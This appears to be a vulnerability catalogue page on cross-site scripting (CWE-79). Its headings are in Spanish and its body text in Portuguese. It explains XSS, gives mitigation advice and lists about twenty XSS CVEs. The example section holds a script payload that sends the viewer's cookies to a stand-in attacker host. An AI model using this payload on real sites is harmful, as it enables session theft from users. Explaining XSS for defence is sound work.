Fallos del tipo CWE-79

30.186 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-11335MEDIUMUltraEmbed – Advanced Iframe Plugin For WordPress with Gutenberg Block Included <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-7729MEDIUMScada-LTS usersProfiles.shtm cross site scriptingEPSS 0.3%CVE-2024-13589MEDIUMYouTube Playlists with Schema <= 2.6.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-102092HIGHKiteworks Core stored XSSEPSS 0.3%CVE-2024-35679HIGHWordPress GiveWP plugin <= 3.12.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-100313MEDIUMmathurvishal CloudClassroom-PHP-Project updatequery.php cross site scriptingEPSS 0.3%CVE-2023-44990MEDIUMWordPress WOLF Plugin <= 1.0.7.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2026-112247MEDIUMWuxi Wubang Security Software Five-in-One Safety Production Management Information System Upload Endpoint upload.aspx cross site scriptingEPSS 0.3%CVE-2024-38858LOWCross-site scripting in Robotmk logs viewEPSS 0.3%CVE-2023-6047MEDIUMReflected XSS in Algoritim E-commerce SoftwareEPSS 0.3%CVE-2026-101127HIGHJoomla Extension - balbooa.com - Unauthenticated upload filename stored XSS in Balbooa Forms < 2.4.3.4EPSS 0.3%CVE-2024-24847HIGHWordPress CalculatorPro Calculators Plugin <= 1.1.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-13083MEDIUMPHPGurukul Land Record System admin-profile.php cross site scriptingEPSS 0.3%CVE-2025-2406HIGHXSS in Verisay Communication's TrizbiEPSS 0.3%CVE-2024-9545MEDIUMShortcodes and extra features for Phlox theme <= 2.17.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via aux_contact_box and aux_gmaps ShortcodesEPSS 0.3%CVE-2026-107627MEDIUMGreenshift <= 13.2.1 - Unauthenticated Stored DOM-Based Cross-Site Scripting via Comment Content via Nested Latest Comments BlockEPSS 0.3%CVE-2024-5664MEDIUMMP3 Audio Player for Music, Radio & Podcast by Sonaar <= 5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via sonaar_audioplayer ShortcodeEPSS 0.3%CVE-2026-79799HIGHUnauthenticated Stored Cross-Site Scripting (XSS) Vulnerability in ClearPass Policy Manager Web-Based Management InterfaceEPSS 0.3%CVE-2025-12739HIGHCross-Site Scripting (XSS) in Looker's Extension Loader leading to Admin Account CompromiseEPSS 0.3%CVE-2024-12320MEDIUMTeam Rosters <= 4.7 - Reflected Cross-Site Scripting via 'tab'EPSS 0.3%